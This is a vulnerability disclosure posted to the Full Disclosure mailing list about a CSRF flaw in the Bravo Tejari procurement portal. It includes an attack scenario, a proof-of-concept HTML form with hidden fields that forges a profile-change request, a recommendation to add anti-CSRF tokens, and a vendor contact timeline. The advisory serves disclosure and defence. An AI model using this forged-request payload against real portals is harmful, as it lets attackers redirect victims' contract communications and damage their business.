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Message-ID: <CAGkSqYuhRG5oUiRZ_bi8UmLpvF7EL=hUZO=6v=0-4i6W-4mQXA@mail.gmail.com>
Date: Thu, 15 Feb 2018 11:56:01 +0400
From: Arvind Vishwakarma <arvind12786@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] : Vulnerability Disclosure (Web Apps)-Bravo Tejari Web
	Portal-CSRF

-----------------------------------------------------
Vulnerability Type: Cross Site Request Forgery (CSRF)
Vendor of Product: Tejari
Affected Product Code Base: Bravo Solution
Affected Component: Web Interface Management.
Attack Type: Local - Authenticated
Impact: Unauthorised Access
------------------------------------------

Product description:
Brao Tejari is a strategic procurement platform that enables organizations
to generate more value, influence innovation and reduce risk powered by a
unique supplier-centered approach that integrates supplier lifetime value
throughout the entire procurement process

Attack Scenario:
The Web Interface of the Bravo Tejari procurement portal does not use
random tokens to block any kind of forged requests. An atacker can take
advantage of this scenario and create a forged request to edit user account
details like name, address of the company/individual, email address etc. He
then uses social engineering techniques to target specific individuals
whose account details he would like to change. He simply sends the link and
tricks the user into clicking the forged http request. The request is
executed and user account details are changed without his knowledge.

Proof of Concept Code:
Forged HTTP Request used by the attacker:

<html>
    <body>
    <form action="https://XXXX.XXXX.com/esop/toolkit/profile/regData.do"
method="POST">
      <input type="hidden" name="userAct" value="confirmData" />
      <input type="hidden" name="from" value="registration&#95;data" />
      <input type="hidden" name="actionNumber" value="0" />
      <input type="hidden" name="companyExtStatusCode" value="31" />
      <input type="hidden" name="companyExtStatusNote" value="" />
      <input type="hidden" name="hideCompany" value="false" />
      <input type="hidden" name="companyName"
value="XYZ&#32;COMPUTER&#32;SYSTEMS&#32;FZ&#32;LLC" />
      <input type="hidden" name="companyAddress"
value="Dubai&#32;internet&#32;city&#44;&#32;DUBAI" />
      <input type="hidden" name="companyCity" value="DUBAI" />
      <input type="hidden" name="companyCountry" value="AE" />
      <input type="hidden" name="companyProvince" value="Dubai" />
      <input type="hidden" name="companyZip" value="25703" />
      <input type="hidden" name="companyPhone" value="43918600" />
      <input type="hidden" name="companyFax" value="" />
      <input type="hidden" name="companyEmail"
value="XYZ&#46;v&#64;XYZ&#46;com" />
      <input type="hidden" name="companyWebSite" value="" />
      <input type="hidden" name="companyLegalStructure" value="" />
      <input type="hidden" name="companyAddress2" value="" />
      <input type="hidden" name="companyFiscalCode" value="215703" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


Impact:
The affected product is a procurement portal and so all communication
regarding the contract lifecycle process is sent to user details provided
on the portal. If this vulnerability is sucessfully exploited, the attacker
will be able to change these details which will potentially affect the
victim's business.

Recommendation:
Ensure that all sensitive CRUD Operations are appropriately protected with
random tokens. Alternatively, the sensitive operations could alsohave an
authentication layer to confirm user verification.


Credit: Arvind Vishwakarma

http://ultimateone1.blogspot.ae/



Vulnerability Timeline:

12th December 2017 – Vulnerability Discovered
23rd December 2017 – Contacted Vendor – No Response
7th January 2018 – Contacted Vendor again – No Response
15th February 2018 – Vulnerability Disclosed

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